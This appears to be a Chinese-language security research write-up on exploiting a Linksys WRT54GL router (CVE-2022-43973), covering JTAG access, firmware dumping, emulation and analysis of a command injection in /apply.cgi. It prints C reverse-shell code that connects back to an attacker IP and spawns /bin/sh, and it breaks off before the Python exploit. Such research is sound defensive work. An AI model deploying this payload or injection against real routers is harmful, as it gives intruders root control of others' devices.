umbertodellamonica/linksys-wrt54gl-exploitation从焊接到Shell：Linksys WRT54GL路由器的完整硬件利用（CVE-2022-43973）
一段 10 阶段的嵌入式安全研究之旅——从 JTAG 引脚识别到在基于 MIPS 的消费级路由器上实现远程代码执行。
| 作者 | Umberto Della Monica |
| 角色 | 网络安全理学硕士生 — 嵌入式安全研究员 |
| 日期 | 2026 年 5 月 |
| 仓库 | Linksys-WRT54GL-Exploitation |
免责声明： 本研究仅出于教育和研究目的，在本人自有硬件上进行。未访问任何未经授权的系统。本文所述的所有技术只能在您拥有或获得明确书面授权测试的设备上复现。作者对本文信息的任何滥用不承担任何责任。请始终遵守适用的法律、法规和负责任披露准则。
Linksys WRT54GL 是有史以来最具标志性的消费级路由器之一。它对开源固件的支持使其深受爱好者和研究人员的青睐。尽管年代久远，它仍在全球范围内广泛使用，使其成为嵌入式安全研究的相关目标。
| 规格 | 值 |
|---|---|
| 芯片组 | Broadcom BCM5352 |
| CPU 主频 | 200 MHz |
| 架构 | MIPS 32 位(小端序) |
| 闪存 | 4 MB NOR(内存映射于 0xbfc00000) |
| 内存 | 16 MB |
| 无线 | IEEE 802.11b/g，54 Mbps |
| 网络 | 4x LAN + 1x WAN，带 SPI 的 NAT 防火墙 |
| 操作系统 | 基于 Linux(BusyBox) |
| 引导加载程序 | CFE(Common Firmware Environment) |
任何硬件安全评估的第一步都是物理检查。打开设备外壳后，我在 PCB 上识别出两个调试接口：
由于 JTAG 接口未焊接，我焊接了一个临时排针以访问调试接口。使用万用表，我识别了接地和 Vcc 线路，并确认目标设备以 3.3V 逻辑电平工作——这对于避免损坏芯片组至关重要。
为映射 JTAG 信号，我使用了 Grand Idea Studio 的 JTAGulator——一种通过探测所有可能的引脚组合来自动识别调试接口的硬件工具。
JTAGulator 成功识别出以下 JTAG 引脚定义：
board: wrt54gl_v1.1
device: Linksys WRT54GL v1.1
pins:
TCK: PA3
TMS: PA4
TDI: PA1
TDO: PA2
TRST: NC
SRST: PB0
notes: "Header JP3 — verified 3.3V logic."
在识别出 JTAG 引脚后，我将一个 Attify Badge——一款采用 FTDI FT2232H 芯片的开源硬件安全评估工具(GNU GPL v3.0)——连接到路由器的 JTAG 接口。
我启动了 OpenOCD(开放片上调试器)，并使用为 BCM5352 目标定制的配置，因为官方配置与此特定硬件版本不兼容。
自定义 OpenOCD 配置定义了路由器的闪存分区布局：
| 分区 | 描述 | 起始地址 | 大小 |
|---|---|---|---|
| CFE | 引导加载程序 | 0xbfc00000 | 256 KB |
| 固件 | 内核 + 根文件系统 | 0xbfc40000 | ~3.7 MB |
| NVRAM | 配置 | 0xbfff0000 | 64 KB |
在使 CPU 暂停后，我对内存映射的 NOR 闪存执行了完整的 4 MB 转储：
> target halt
> dump_image ./dumps/wrt54gl.bin 0xbfc00000 0x00400000
使用 binwalk，我分析了固件转储文件，以识别嵌入式文件系统、压缩段和内核镜像：
binwalk ./dumps/wrt54gl.bin
binwalk -E ./dumps/wrt54gl.bin # entropy analysis
sha256sum ./dumps/wrt54gl.bin # integrity verification
分析揭示了一个 SquashFS 根文件系统，其中包含基于 BusyBox 的标准 Linux 环境。我使用 binwalk -e 和 unsquashfs 将其提取出来以进行更深入的分析。
为了创建安全的测试环境，我使用 FirmAE——一个支持 MIPS 架构的自动化固件仿真框架——搭建了固件仿真环境。这使我能够在虚拟环境中复现路由器的服务(HTTP、telnet)，并在不对物理设备造成风险的情况下测试漏洞利用。
使用带 MIPS 反编译器插件的 Ghidra(NSA 的逆向工程框架)，我对提取的固件二进制文件进行了静态分析，以确认 CVE-2022-43973 的存在。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2022-43973 |
| 类型 | 远程代码执行(RCE) |
| 攻击向量 | 经过身份验证的 HTTP 请求 |
| 根本原因 | 通过未净化的 ui_language 参数进行命令注入 |
| 端点 | POST /apply.cgi |
| 触发条件 | POST /upgrade.cgi(固件升级) |
| 影响 | 完整的 root 级命令执行 |
该漏洞存在于路由器的 CGI 请求处理器中。/apply.cgi 端点中的 ui_language 表单字段接受任意输入而无需净化。通过注入以 ;cmd; 语法包裹的 shell 命令，攻击者可以暂存命令，这些命令随后会在通过 /upgrade.cgi 触发固件升级时被执行。
受影响的固件版本：
我用 C 语言开发了一个自定义反向 Shell，专为路由器的 MIPS 架构而构建。该载荷建立回连攻击者的 TCP 连接，将所有标准文件描述符重定向到套接字，并生成一个交互式 Shell：
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr(argv[1]);
connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
dup2(sockt, 0); // redirect stdin
dup2(sockt, 1); // redirect stdout
dup2(sockt, 2); // redirect stderr
execve("/bin/sh", sh_argv, NULL);
为了将载荷编译为目标架构，我构建了一个可复现的 Docker 环境，其中包含 Broadcom MIPS 交叉编译工具链(hndtools-mipsel-linux-3.2.3)，该工具链来自官方 Linksys GPL 版本(WRT54GL-ETSI_v4.30.18.006)：
docker build -t wrt54gl-toolchain:latest -f Dockerfile .
docker run --rm -it -v "$(pwd)":/work --workdir /work wrt54gl-toolchain:latest
# Inside container:
mipsel-linux-gcc -static -O2 -o revshell_mips revshell.c
生成的二进制文件采用静态链接以确保可移植性——目标设备上无共享库依赖。
我开发了一个 Python 漏洞利用框架，通过利用 CVE-2022-43973 自动化整个攻击链。该漏洞利用执行一个 4 步序列，每一步都通过 ui_language 参数作为命令注入：